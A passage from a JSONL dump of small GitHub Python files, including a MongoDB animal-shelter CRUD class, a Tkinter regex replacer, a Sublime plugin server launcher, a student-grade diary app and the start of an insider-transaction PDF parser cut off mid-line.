cnt + i + 1\r\n D[now + i] = min(cnt + i + 1, D[now + i])\r\n cnt = D[now]\r\n \r\n\r\nfor _ in range(T):\r\n cnt = -1\r\n now, end = map(int, input().split())\r\n D = {}\r\n save(now)\r\n\r\n while isSame(now, end) == False:\r\n if (now % 2 == 1):\r\n now += 1\r\n save(now)\r\n if isSame(now, end):\r\n break\r\n now //= 2\r\n save(now)\r\n \r\n while (now != end):\r\n nw, ed = str(bin(now)), str(bin(end))\r\n now *= 2\r\n save(now)\r\n nw, ed = str(bin(now)), str(bin(end))\r\n \r\n if nw[-1] != ed[len(nw) - 1]:\r\n now += 1\r\n save(now)\r\n print(cnt)","repo_name":"KongUm/BOJ","sub_path":"백준/Platinum/24491. Searching for Soulmates/Searching for Soulmates.py","file_name":"Searching for Soulmates.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15129279112","text":"import pandas as pd \nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import r2_score, mean_absolute_percentage_error\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.tree import DecisionTreeRegressor\nfrom sklearn.ensemble import RandomForestRegressor\n\nmodels = []\nmodels.append(LinearRegression())\nmodels.append(DecisionTreeRegressor())\nmodels.append(RandomForestRegressor())\n\nbtc_data = pd.read_csv(\"data/BTC-USD.csv\")\nX = btc_data[[\"Open\", \"High\", \"Low\", \"Adj Close\", \"Volume\"]] \ny = btc_data[\"Close\"]\n\nprint(btc_data)\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=2)\n\nfor m in models:\n clf = m \n clf.fit(X_train, y_train)\n y_pred = clf.predict(X_test)\n\n r2 = r2_score(y_test, y_pred)\n res = pd.crosstab(y_test, y_pred, rownames=['Actual'], colnames=['Predicted'])\n mepr = mean_absolute_percentage_error(y_test, y_pred)\n\n print(\"-\"*80)\n print(\"Model: \" + str(m))\n print(y_pred)\n print(\"r2: \" + str(r2))\n print(\"MEPR: \" + str(mepr) + \"%\")\n print(\"confusion matrix: \")\n print(res)\n print(\"-\"*80)\n","repo_name":"maxineauma/btc-ml-predict","sub_path":"btc-ml-predict.py","file_name":"btc-ml-predict.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13756494196","text":"\"\"\"This module uses the pymongo driver to deliver CRUD methods.\r\n\r\nIt first connects to server and asks user to specify project/database name, then it allows\r\nthe create, read, update, and delete methods to users while hiding the mongo commands for \r\nease of use for end user.\r\n\"\"\"\r\n\r\nfrom pymongo import MongoClient\r\n\r\n\"\"\"The animal shelter class contains the methods to perform aforementioned crud operations\r\nand to connect to to server.\r\n\"\"\"\r\nclass AnimalShelter:\r\n\r\n \"\"\"Method: Initialization\r\n Purpose: This constructor uses 4 parameters to authenticate user\r\n Input: Host, port, username, and password\r\n Output: None \r\n \"\"\"\r\n def __init__(self, host, port, username, password):\r\n \r\n self.host = host\r\n self.port = port\r\n self.user = username\r\n self.userpass = password\r\n \r\n \"\"\"Method: Url initialization \r\n Purpose: This is an optional alternative constructor using url string to authenticate\r\n Input: Url string containing 4 parameters from previous method in url format\r\n Output: Print statement verifying creation - no return value\r\n \"\"\"\r\n def __init__(self, url):\r\n \r\n self.url = url\r\n print('Created')\r\n \r\n \"\"\"Method: Connect to database\r\n Purpose: Connects to server by specifying database name\r\n Input: Project name/database name in ['project'] format\r\n Ouput: Prints the database information to show confirmation of connection\r\n \"\"\"\r\n def connect(self, project):\r\n \r\n self.c = MongoClient(self.url)\r\n self.dbase = self.c[project] \r\n print(self.dbase)\r\n \r\n \"\"\"Method: Collections\r\n Purpose: This is a method to display collections\r\n Input: None\r\n Ouput: Prints list of collection names available\r\n \"\"\"\r\n def showCollections(self):\r\n \r\n print(self.dbase.list_collection_names())\r\n \r\n \"\"\"Method: Display Databases\r\n Purpose: Used to display database names\r\n Input: None\r\n Output: Prints list of database names\r\n \"\"\"\r\n def showDatabases(self):\r\n \r\n print(self.c.list_database_names())\r\n\r\n \"\"\"Method: Create\r\n Purpose: This is the create method to add new records\r\n Input: Data parameter which is the new record to create in key-value format\r\n Output: Returns True and prints message confirming successful entry on success otherwise\r\n returns False and displays Exception\r\n \"\"\"\r\n def create(self, data):\r\n \r\n # Verify collection exists\r\n if data is not None:\r\n self.dbase.animals.insert_one(data, {\"_id\":0})\r\n # Inserts record into currently selected database and animals collection\r\n print('Record Inserted')\r\n # Displays msg confirming successful insertion \r\n return True\r\n \r\n else:\r\n raise Exception(\"Nothing to save, because data parameter is empty\")\r\n\r\n \"\"\"Method: Read\r\n Purpose: This is the read method to find specific record(s)\r\n Input: Data parameter which is the record(s) to find\r\n Output: Prints list of data matching data parameter\r\n \"\"\" \r\n def read(self, data): \r\n \r\n # Verify a parameter to search for is given\r\n if data is not None:\r\n animalsCollection = self.dbase.animals.find(data)\r\n # Return collection as variable\r\n # Print animalsCollection cursor for dict key/value pairs\r\n return animalsCollection\r\n for animal in animalsCollection:\r\n print(animal)\r\n \r\n else:\r\n raise Exception(\"No search data provided - please try again\")\r\n \r\n \"\"\"Method: Update\r\n Purpose: This is the update method to alter record(s)\r\n Input: 2 parameters - 1st is query in key-value pair format for record(s) to find/update\r\n and 2nd parameter is key-value for desired update\r\n Output: Returns formatted string with JSON info for number of documents updated and True\r\n or Exception with False if failure to provide parameters\r\n \"\"\" \r\n def update(self, query, record):\r\n \r\n # Verify a parameter to search for is given\r\n if (query and record) is not None:\r\n # Takes two parameters - first query parameter for item you wish to update \r\n # Second parameter is the $set command and key-value pair for your desired updated value \r\n update_result = self.dbase.animals.update_many(query, record)\r\n # Return message containing text + variable with modified records count\r\n result = \"Document(s) updated: \" + str(update_result.modified_count)\r\n return result\r\n return True\r\n \r\n else:\r\n raise Exception(\"No record or update data provided - please try again\")\r\n \r\n \"\"\"Method: Delete\r\n Purpose: This is the delete method to delete records\r\n Input: Data parameter which is the key-value pair identifying a record(s) to eliminate\r\n Output: Returns formatted string containing number of documents deleted and True or \r\n Exception with False if failure to provide parameters properly\r\n \"\"\" \r\n def delete(self, data): \r\n \r\n # Verify a parameter/data is given to delete\r\n if data is not None:\r\n # Variable corresponding to command to delete data\r\n delete_result = self.dbase.animals.delete_many(data)\r\n # Print msg with # of documents deleted using variable from above\r\n result = \"Document(s) deleted: \" + str(delete_result.deleted_count)\r\n return result\r\n return True\r\n \r\n else:\r\n raise Exception(\"No record provided - please try again\")","repo_name":"Bizerk3d/AnimalRescueApp","sub_path":"shelter_animals.py","file_name":"shelter_animals.py","file_ext":"py","file_size_in_byte":5870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23521024634","text":"import tkinter as tk\nfrom tkinter import messagebox\nimport re\nimport json\nimport os\nimport threading\n\nMEMORY_FILE = \"pattern_replacer_memory.json\"\n\n\ndef replace_all():\n global undo_stack\n save_memory()\n try:\n text = text_input.get(1.0, tk.END)\n undo_stack.append(text)\n for pattern_entry, replacement_entry, _ in regex_replacements: # Add an underscore to unpack the third value\n pattern = pattern_entry.get()\n replacement = replacement_entry.get()\n text = re.sub(pattern, replacement, text)\n text_input.delete(1.0, tk.END)\n text_input.insert(tk.END, text)\n except re.error:\n messagebox.showerror(\"Error\", \"Invalid regular expression\")\n undo()\n\n\n\ndef undo():\n global undo_stack\n if undo_stack:\n text_input.delete(1.0, tk.END)\n text_input.insert(tk.END, undo_stack.pop())\n\n\ndef update_window_size():\n base_height = 550\n row_height = 35\n num_rows = len(regex_replacements) + 1\n window.geometry(f\"800x{base_height + num_rows * row_height}\")\n\ndef validate_regex(event, entry_widget=None):\n if entry_widget is None:\n entry_widget = event.widget\n\n try:\n re.compile(entry_widget.get())\n entry_widget.configure(bg=\"#98FB98\") # Light green\n except re.error:\n entry_widget.configure(bg=\"#F08080\") # Light coral (a soft red shade)\n\n\ndef add_regex_pair(pattern=\"\", replacement=\"\"):\n row_index = len(regex_replacements) + 2\n pattern_entry = tk.Entry(window)\n replacement_entry = tk.Entry(window)\n remove_pair_button = tk.Button(window, text=\"Remove Pair\", command=lambda: remove_regex_pair(row_index))\n\n pattern_entry.insert(tk.END, pattern)\n replacement_entry.insert(tk.END, replacement)\n\n pattern_entry.grid(row=row_index, column=0, padx=5, pady=5)\n replacement_entry.grid(row=row_index, column=1, padx=5, pady=5)\n remove_pair_button.grid(row=row_index, column=2, padx=5, pady=5)\n\n pattern_entry.bind('', validate_regex) # Bind the validate_regex function to the KeyRelease event\n validate_regex(tk.Event(), pattern_entry) # Call the validate_regex function to set the initial background color\n\n regex_replacements.append((pattern_entry, replacement_entry, remove_pair_button))\n update_window_size()\n\n\ndef remove_regex_pair(row_index):\n pair = None\n for p in regex_replacements:\n if p[0].grid_info()[\"row\"] == row_index:\n pair = p\n break\n\n if pair:\n regex_replacements.remove(pair)\n pair[0].grid_forget()\n pair[1].grid_forget()\n pair[2].grid_forget()\n update_window_size()\n\n\ndef save_memory():\n memory = {\n \"text\": text_input.get(1.0, tk.END),\n \"regex_replacements\": [(pair[0].get(), pair[1].get()) for pair in regex_replacements],\n }\n\n with open(MEMORY_FILE, \"w\") as f:\n json.dump(memory, f)\n\n\ndef load_memory():\n if os.path.exists(MEMORY_FILE):\n with open(MEMORY_FILE, \"r\") as f:\n memory = json.load(f)\n\n text_input.insert(tk.END, memory.get(\"text\", \"\"))\n regex_replacements_data = memory.get(\"regex_replacements\", [])\n\n if not regex_replacements_data: # Add an empty pair if there are no regex replacement pairs in memory\n add_regex_pair()\n\n for pattern, replacement in regex_replacements_data:\n add_regex_pair(pattern, replacement)\n else:\n add_regex_pair() # Add an empty pair if the memory file does not exist\n\n\n\ndef schedule_memory_save():\n global stop_event\n if not stop_event.is_set():\n save_memory()\n stop_event.wait(60) # Wait for 60 seconds or until the stop_event is set\n schedule_memory_save()\n\ndef close_window():\n global stop_event\n save_memory()\n stop_event.set() # Set the stop_event to stop the schedule_memory_save function\n window.destroy()\n\nstop_event = threading.Event()\n\nundo_stack = []\nregex_replacements = []\n\nwindow = tk.Tk()\nwindow.title(\"Pattern Replacer\")\nwindow.geometry(\"800x600\")\n\ntext_input = tk.Text(window, wrap=tk.WORD)\ntext_input.grid(row=0, column=0, columnspan=2, padx=5, pady=5)\n\nreplace_button = tk.Button(window, text=\"Replace All\", command=replace_all)\nreplace_button.grid(row=1, column=0, padx=5, pady=5)\n\nundo_button = tk.Button(window, text=\"Undo\", command=undo)\nundo_button.grid(row=1, column=1, padx=5, pady=5)\n\nadd_pair_button = tk.Button(window, text=\"Add Pair\", command=add_regex_pair)\nadd_pair_button.grid(row=1000, column=0, padx=5, pady=5)\n\nload_memory()\n\nwindow.protocol(\"WM_DELETE_WINDOW\", close_window)\n\n# Run schedule_memory_save in a separate thread\nsave_memory_thread = threading.Thread(target=schedule_memory_save)\nsave_memory_thread.start()\n\nwindow.mainloop()\n","repo_name":"curtwagner1984/stable_diffusion_tools","sub_path":"pattern_replacer.py","file_name":"pattern_replacer.py","file_ext":"py","file_size_in_byte":4757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"20938963579","text":"import sublime\nimport socketserver\nimport subprocess\nimport threading\nimport os\nimport codecs\n\nfrom . import global_vars\n\nclass ThreadedHTTPServer(object):\n def __init__(self, handler):\n self.server = socketserver.TCPServer(('', 0), handler)\n self.nodeServer = None\n\n with open(os.path.join(global_vars.PACKAGE_PATH, 'sublime_port.txt'), 'w+') as file:\n file.write(str(self.server.socket.getsockname()[1]))\n\n self.server_thread = threading.Thread(target=self.server.serve_forever)\n self.server_thread.daemon = True\n\n def start(self):\n self.server_thread.start()\n threading.Thread(target=self.startNodeServer, daemon=True).start()\n\n def stop(self):\n if self.nodeServer and not self.nodeServer.poll():\n try:\n self.nodeServer.terminate()\n except Exception as e:\n pass \n self.nodeServer = None\n \n if self.server:\n self.server.shutdown()\n self.server.server_close()\n self.server = None\n\n def startNodeServer(self):\n\n if sublime.platform() == \"windows\":\n self.nodeServer = subprocess.Popen([global_vars.NODE_PATH, global_vars.NODE_SERVER_PATH], shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n else:\n self.nodeServer = subprocess.Popen([global_vars.NODE_PATH, global_vars.NODE_SERVER_PATH], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n nodePort = codecs.decode(self.nodeServer.stdout.readline(), \"utf-8\", \"ignore\").strip()\n if not nodePort.isdigit():\n print('ERROR: Wrong Node Server port')\n print(nodePort)\n for line in self.nodeServer.stdout:\n line = codecs.decode(line, \"utf-8\", \"ignore\").replace(\"\\n\", \"\")\n print(line)\n print('Shutting down the JSONRPC Server...')\n self.stop()\n return\n global_vars.URL_NODE_SERVER = \"http://localhost:\" + nodePort + \"/jsonrpc\"\n print(global_vars.PACKAGE_NAME + \": Node server started at \" + global_vars.URL_NODE_SERVER)\n\n while self.nodeServer and not self.nodeServer.poll():\n line = self.nodeServer.stdout.readline()\n line = global_vars.PACKAGE_NAME + \" Node server: \" + codecs.decode(line, \"utf-8\", \"ignore\").replace(\"\\n\", \"\")\n print(line)\n \n ","repo_name":"pichillilorenzo/create-sublime-plugin-js","sub_path":"pylib/ThreadedHTTPServer.py","file_name":"ThreadedHTTPServer.py","file_ext":"py","file_size_in_byte":2175,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"4217842807","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Date : 2019-08-20 19:29:57\n# @Author : mutudeh (josephmathone@gmail.com)\n# @Link : ${link}\n# @Version : $Id$\n\nimport os\n\nclass ListNode:\n\tdef __init__(self, x):\n\t\tself.val = x\n\t\tself.next = None\nclass Solution:\n#递归版本\n\tdef Merge(self, pHead1, pHead2):\n\t\tif pHead1 is None:\n\t\t\treturn pHead2\n\t\tif pHead2 is None:\n\t\t\treturn pHead1\n\t\tif pHead1 and pHead2 is None:\n\t\t\treturn None\n\t\tif pHead1.val <= pHead2.val:\n\t\t\tpHead1.next = self.Merge(pHead1.next,pHead2)\n\t\t\treturn pHead1\n\t\telse:\n\t\t\tpHead2.next = self.Merge(pHead1,pHead2.next)\n\t\t\treturn pHead2\n# 非递归版本\n\n\t# def Merge(self, pHead1, pHead2):\n\t# \tif pHead1 is None:\n\t# \t\treturn pHead2\n\t# \tif pHead2 is None:\n\t# \t\treturn pHead1\n\t# \tif pHead1 and pHead2 is None:\n\t# \t\treturn None\n\t# \tif pHead1.val <= pHead2.val:\n\t# \t\tnewHead = pHead1\n\t# \t\tpHead1 = pHead1.next\n\t# \telse:\n\t# \t\tnewHead = pHead2\n\t# \t\tpHead2 = pHead2.next\n\t# \ttemHead = newHead\n\t# \twhile pHead1 and pHead2:\n\t# \t\tif pHead1.val <= pHead2.val:\n\t# \t\t\tnewHead.next = pHead1\n\t# \t\t\tpHead1 = pHead1.next\n\t# \t\telse:\n\t# \t\t\tnewHead.next = pHead2\n\t# \t\t\tpHead2 = pHead2.next\n\t# \t\tnewHead = newHead.next\n\t# \tif pHead1:\n\t# \t\tnewHead.next = pHead1\n\t# \telse:\n\t# \t\tnewHead.next = pHead2\n\t# \treturn temHead\n\na = ListNode(2)\na.next = ListNode(3)\na.next.next = ListNode(6)\nb = ListNode(1)\nb.next = ListNode(5)\n\ns = Solution()\nprint(s.Merge(a,b).val)\n# print(head.next.next.next.next.next)","repo_name":"joseph-mutu/JianZhiOfferCodePics","sub_path":"合并两个排序的链表.py","file_name":"合并两个排序的链表.py","file_ext":"py","file_size_in_byte":1447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23594195258","text":"#!/usr/bin/env python3\n\"\"\"\nAssignment 02\n1. Write a generator to find and print all of your favorite artist’s tracks from the data set.\n2. Using the same data set, write a closure to capture high energy tracks.\n\"\"\"\nimport pandas as pd\n\nmusic = pd.read_csv(\"featuresdf.csv\")\n\n# Practice\n# print(music.head())\n# artists = music.artists\n# print(artists)\n\n# Generators\n# Does \"Ed Sheeran exist in the data?\nartist = (a for a in music.artists if \"Sheeran\" in a)\nprint(next(artist))\n\nsongs = (name for artist, name in zip(music.artists, music.name) if \"Sheeran\" in artist)\n\n\n# Iterate over the songs til the end - Results below done in iPython\n# In [17]: next(songs)\n# Out[17]: 'Shape of You'\n#\n# In [18]: next(songs)\n# Out[18]: 'Castle on the Hill'\n#\n# In [19]: next(songs)\n# Out[19]: 'Galway Girl'\n#\n# In [20]: next(songs)\n# Out[20]: 'Perfect'\n\n# iterate over using a for loop to avoid StopIteration:\n# for song in songs:\n# print(song)\n#\n# In [21]: next(songs)\n# ---------------------------------------------------------------------------\n# StopIteration Traceback (most recent call last)\n# in ()\n# ----> 1 next(songs)\n#\n# StopIteration:\n\n# Closures\n\n\n# Make a closure to find high energy tracks over 0.8 in the music.energy column\ndef find_high_energy_track(level):\n def energy_level(energy):\n return energy > level\n\n return energy_level\n\n\n# Call our function with the desired level criteria\nenergy = find_high_energy_track(0.8)\n\nt = ((a, n, e) for (a, n, e) in zip(music.artists, music.name, energy(music.energy)))\nnext(t)\nnext(t)\nnext(t)\nnext(t)\n\n# Below is output from running the above to capture the energy level above 0.8\n# Not run to completion\n# In [18]: next(t)\n# Out[18]: ('Ed Sheeran', 'Shape of You', False)\n#\n# In [19]: next(t)\n# Out[19]: ('Luis Fonsi', 'Despacito - Remix', True)\n#\n# In [20]: next(t)\n# Out[20]: ('Luis Fonsi', 'Despacito (Featuring Daddy Yankee)', False)\n#\n# In [21]: next(t)\n# Out[21]: ('The Chainsmokers', 'Something Just Like This', False)\n#\n# In [22]: next(t)\n# Out[22]: ('DJ Khaled', \"I'm the One\", False)\n#\n# In [23]: next(t)\n# Out[23]: ('Kendrick Lamar', 'HUMBLE.', False)\n#\n# In [24]: next(t)\n# Out[24]: ('Kygo', \"It Ain't Me (with Selena Gomez)\", False)\n\n# Running a for loop on t to see all the tracks with the energy level above 0.8\n# Need to do define it again since previously ran next() on t\nt = ((a, n, e) for (a, n, e) in zip(music.artists, music.name, energy(music.energy)))\nfor track in t:\n print(track)\n\n","repo_name":"UWPCE-PythonCert-ClassRepos/Sp2018-Online","sub_path":"students/daniel_grubbs/lesson02/fav_artist_tracks.py","file_name":"fav_artist_tracks.py","file_ext":"py","file_size_in_byte":2541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1761961578","text":"#! /usr/bin/env python\n\nimport json\nfrom pathlib import Path\n\nimport psycopg2\nimport click\n\n@click.command()\n@click.option(\n \"--sql_path\", \n type=click.Path(file_okay=False,\n writable=True,\n # to support the '/' operator below\n path_type=Path),\n required=True,\n help=\"Path which contains 'nba_stats_sel_game_id.sql.\"\n)\n@click.option(\n \"--incl_path\", \n type=click.Path(file_okay=False,\n writable=True,\n # to support the '/' operator below\n path_type=Path),\n required=True,\n help=\"Path to store 'game_ids_logged.json'.\"\n)\n@click.option(\n \"--conn_str\", \n type=click.STRING,\n help=\"Connection string to the postgres database.\"\n)\ndef get_logged_game_ids(sql_path, incl_path, conn_str):\n \"\"\"\n After populating/updating the table, get the set of logged\n game_ids and output to game_ids_logged.json for next run's\n comparison\n \n Args:\n incl_path: Path object of which folder to output the json log\n conn_str: str object containing the database connection info\n Raises:\n FileNotFoundError if incl_path is invalid\n database connection error if conn_str is invalid\n \"\"\"\n import psycopg2\n import json\n \n with open(sql_path / 'nba_stats_sel_game_id.sql') as sql:\n query = sql.read()\n \n log_json = {}\n try:\n conn = psycopg2.connect(conn_str)\n\n with conn:\n with conn.cursor() as curs: \n curs.execute(query)\n logged_game_ids = curs.fetchall()\n \n # returns as a list of tuple, where each tuple is one record\n # since our record only has one column (game_id), we access\n # via [0] indexing\n log_list = [game_id[0] for game_id in logged_game_ids]\n log_json[\"Game_IDs\"] = log_list\n \n except (psycopg2.OperationalError, psycopg2.ProgrammingError) as error:\n print(error)\n \n finally:\n with open(incl_path / \"game_ids_logged.json\", mode='w') as j:\n json.dump(log_json, j)\n if conn is not None:\n conn.close()\n \n return logged_game_ids\n\nif __name__ == \"__main__\":\n get_logged_game_ids()","repo_name":"vykuang/docker-nba-stats","sub_path":"images/load/scripts/create_log.py","file_name":"create_log.py","file_ext":"py","file_size_in_byte":2292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"45556296758","text":"from tkinter import *\nimport sqlite3\nimport os\n\nroot = Tk()\nlst = []\n\ndata_path = './databases/'\nfilename = 'diary'\nos.makedirs(data_path, exist_ok=True)\ndb = sqlite3.connect(data_path + filename + '.db')\ndb.execute('CREATE TABLE IF NOT EXISTS diary (subject VARCHAR(200), first_grade DECIMAL(1, 0), second_grade DECIMAL(1, 0), final_grade DECIMAL(1, 0))')\ndb.close()\n\ndef draw_root():\n global root, lst\n\n conn = sqlite3.connect(\"databases/diary.db\")\n cursor = conn.cursor()\n cursor.execute(\"SELECT *, oid FROM `diary`\")\n # cursor.execute(\"DELETE FROM `diary` WHERE oid = 4 OR oid = 5 OR oid = 6\")\n lst = cursor.fetchall()\n # conn.commit()\n conn.close()\n # print(str(lst))\n lst.insert(0, (\"\", \"1 term grade\", \"2 term grade\", \"Final grade\"))\n\n grid_slaves = root.grid_slaves()\n for l in grid_slaves:\n l.destroy()\n\n total_rows = len(lst)\n total_columns = len(lst[0])\n avg = [0, 0, 0]\n for i in range(total_rows):\n if i != 0:\n avg[0] += lst[i][1]\n avg[1] += lst[i][2]\n avg[2] += lst[i][3]\n if i == 0:\n bg = \"black\"\n fg = \"white\"\n elif i % 2 == 0:\n bg = \"black\"\n fg = \"lightblue\"\n else:\n bg = \"white\"\n fg = \"blue\"\n for j in range(total_columns):\n label = Label(\n root,\n width=15,\n fg=fg,\n bg=bg,\n font=(\"Arial\", 16, \"bold\"),\n text=str(lst[i][j]).title(),\n borderwidth=2,\n relief=\"groove\",\n )\n label.grid(row=i, column=j)\n\n for i in range(len(avg)):\n if total_rows - 1 != 0:\n avg[i] = round(avg[i] / (total_rows - 1), 2)\n\n for j in range(total_columns):\n if j == 0:\n text = \"Average\"\n else:\n text = str(avg[j - 1])\n if total_rows % 2 == 1:\n bg = \"white\"\n fg = \"black\"\n else:\n bg = \"black\"\n fg = \"white\"\n\n label = Label(\n root,\n width=15,\n fg=fg,\n bg=bg,\n font=(\"Arial\", 16, \"bold\"),\n text=text,\n borderwidth=2,\n relief=\"groove\",\n )\n label.grid(row=total_rows, column=j)\n\n button = Button(\n root,\n command=add_subject,\n text=\"Click to add new subject\",\n width=20,\n height=2,\n fg=\"black\",\n bg=\"white\",\n font=(\"Arial\", 12, \"bold\"),\n borderwidth=2,\n relief=\"groove\",\n )\n button.grid(row=total_rows + 1, column=0, columnspan=4, padx=20, pady=20)\n\n\ndef add_subject():\n global root, lst\n\n newWindow = Toplevel(root)\n newWindow.title(\"Add subject\")\n\n texts = [\n \"Subject name: \",\n \"First term grade: \",\n \"Second term grade: \",\n \"Final grade: \",\n \"\",\n ]\n entries = []\n labels = []\n for x in range(len(texts)):\n label = Label(\n newWindow,\n width=20,\n fg=\"white\",\n bg=\"black\",\n font=(\"Arial\", 16, \"bold\"),\n borderwidth=2,\n relief=\"groove\",\n text=texts[x],\n )\n if x != len(texts) - 1:\n entries.append(StringVar(root))\n entry = Entry(\n newWindow,\n width=20,\n fg=\"white\",\n bg=\"black\",\n font=(\"Arial\", 16, \"bold\"),\n borderwidth=2,\n relief=\"groove\",\n text=texts[x],\n textvariable=entries[x],\n )\n entry.grid(row=x, column=1)\n label.grid(row=x, column=0)\n else:\n label.grid(row=x, column=0, columnspan=2)\n labels.append(label)\n\n def redraw_root():\n global block_popup\n\n conn = sqlite3.connect(\"databases/diary.db\")\n cursor = conn.cursor()\n\n for x in range(len(entries)):\n if entries[x].get() == \"\":\n labels[len(labels) - 1][\"text\"] = \"Give all data!\"\n return\n elif x != 0 and entries[x].get().isnumeric() == False:\n labels[len(labels) - 1][\"text\"] = \"Grades are numbers!\"\n return\n\n cursor.execute(\n \"INSERT INTO `diary` VALUES (:subject, :first_grade, :second_grade, :final_grade)\",\n {\n \"subject\": entries[0].get(),\n \"first_grade\": entries[1].get(),\n \"second_grade\": entries[2].get(),\n \"final_grade\": entries[3].get(),\n },\n )\n conn.commit()\n conn.close()\n\n newWindow.destroy()\n draw_root()\n\n button = Button(\n newWindow,\n command=redraw_root,\n text=\"Confirm new subject\",\n width=20,\n height=2,\n fg=\"black\",\n bg=\"white\",\n font=(\"Arial\", 12, \"bold\"),\n borderwidth=2,\n relief=\"groove\",\n )\n button.grid(\n row=(len(texts) + 1), column=0, rowspan=2, columnspan=2, padx=20, pady=20\n )\n\n\ndraw_root()\nroot.mainloop()\n","repo_name":"maksJopek/desktop-apps","sub_path":"studentDiary.py","file_name":"studentDiary.py","file_ext":"py","file_size_in_byte":5153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41956425778","text":"from PySide2.QtCore import *\nfrom PySide2.QtWidgets import *\nfrom PySide2.QtGui import *\n\n\nclass EditorToolWidget(QWidget):\n\n def __init__(self, title):\n super().__init__()\n\n layout = QVBoxLayout(self)\n layout.setSpacing(0)\n layout.setContentsMargins(0, 0, 0, 0)\n box = QGroupBox(title, self)\n self._box_layout = QVBoxLayout(box)\n layout.addWidget(box)\n\n def add_widget(self, widget):\n self._box_layout.addWidget(widget)\n\n def add_separator(self):\n self.add_widget(EditorSeparator())\n\n\nclass EditorSeparator(QFrame):\n\n def __init__(self, parent=None):\n super().__init__(parent)\n self.setFrameShape(QFrame.HLine)\n self.setFrameShadow(QFrame.Sunken)\n","repo_name":"justacid/segmate","sub_path":"segmate/editor/widgets/toolwidget.py","file_name":"toolwidget.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26004712393","text":"from datetime import datetime\r\nimport pandas as pd\r\nimport subprocess\r\nimport tabula\r\n\r\nfrom insiders_pdf.pdf_files_data import get_value_lst, price_volume\r\nfrom insiders_pdf.pdf_files_subcat import subcategories\r\nfrom insiders_pdf.pdf_files_errors import Error_Columns_Mismatch\r\nfrom mysql_db import table_management\r\nfrom config import config\r\n\r\npd.set_option('display.max_columns', None)\r\n\r\n\r\n'''\r\nZałożenia:\r\n1. Format transakcji na akcjach jest w miarę ustandaryzowany pod względem następujących po sobie części\r\n lub ilości kolumn i nazw poszczególnych informacji\r\n\r\nSchemat działania:\r\n1. Algorytm bierze nowe raporty z tabeli data_files i sprawdza ich kategorie a następnie analizuje pdf\r\n2. Do osobnej tabeli wrzucane są pdfy lub jpg z prawdopodobnie zdjęciami zamiast tabelami\r\n\r\n\r\nJedyny błąd - rzadki:\r\n1. jeśli inf zbiorcze są na tab nr 2 i wyskoczy błąd - tzn nan lub 0 to sprawdzamy tą tabelę - a lista z transakcjami \r\njest na poprzedniej tabeli (dużo kodu aby uniknąć tego błędu który pojawia się rzadko) \r\n\r\n\r\nkoszt pozyskania tabeli z skanowanego pdf to 10 gr za stronę / pdf?\r\n\r\nDo zmiany:\r\n1. wprowadzić batchsize po jakim będziemy sprawdzać transkacje? #zrobione \r\n2. relatywne pobieranie danych z bazy - pdfy #zrobione \r\n3. aktualizowanie config co batchsize #zrobione \r\n4. sprawdzenie co w przypadku próby zapisania tej samej transakcji pdf - czy jest hash lub po report_id #zrobione \r\n'''\r\n\r\n#zmienne do logowania do bazy\r\nhostname = config['hostname']\r\ndbname = config['dbname']\r\nuname = config['uname']\r\npwd = config['pwd']\r\n\r\n\r\ntable_config_table = config['table_config_table']\r\ntable_aalerts_backend = config['table_aalerts_backend']\r\n\r\ntable_data = config['table_data']\r\ntable_data_file = config['table_data_file']\r\n\r\ntable_transactions_pdf_files = config['table_transactions_pdf_files']\r\ntable_transactions_pdf_rejected = config['table_transactions_pdf_rejected']\r\ntable_transactions_pdf_scanned = config['table_transactions_pdf_scanned']\r\ntable_fma_cms_alert_categories = config['table_fma_cms_alert_categories']\r\n\r\n#zmienne\r\ncat_id = int(config['pdfs_cat_id'])\r\npdf_limit_batchsize = int(config['pdf_limit_batchsize'])\r\n\r\n\r\nmulti_term_lst_dict = {'podmiot': ['nazwa/nazwisko', 'imięinazwisko', 'imieinazwisko', 'nazwa'],\r\n 'stanowisko': ['stanowisko/status', 'więziprawnejłączącejosobęzob'],\r\n 'cena i wol': ['informacjezbiorcze', 'łącznywolumen'],\r\n 'opis instrumentu': ['opisinstrumentufinansowego', 'wskazanieinstrumentufinan'],\r\n 'rodzaj': ['rodzajtransakcji'],\r\n 'data': ['datatransakcji', 'dataigodzina', 'dataimiejscezaw'],\r\n 'miejsce': ['miejscetransakcji', 'miejscezawarciatransa']\r\n }\r\n\r\nmulti_term_lst = list(multi_term_lst_dict.values())\r\nmulti_term_lst_val = list(multi_term_lst_dict.keys())\r\ndate = datetime.now()\r\n\r\n\r\ndef alerts_table(info):\r\n \"\"\" system alertowania w przypadku awarii pobierania szczegółowych danych o jakiejś spółce \"\"\"\r\n cls = table_management(hostname, dbname, uname, pwd)\r\n cls.add_data_row(table_aalerts_backend, [info, date, 'pdf_files_insiders'], '(info,updated,table_name)', '(%s, %s, %s)')\r\n cls.close_connection_2()\r\n\r\n\r\ndef get_ids_insider():\r\n \"\"\" pobieranie id raportów już obecnych w tabelach insiderów, większych od branego pod uwagę ID \"\"\"\r\n cls = table_management(hostname, dbname, uname, pwd)\r\n id_to_start = cls.fetch_all_results_filtered(table_config_table, 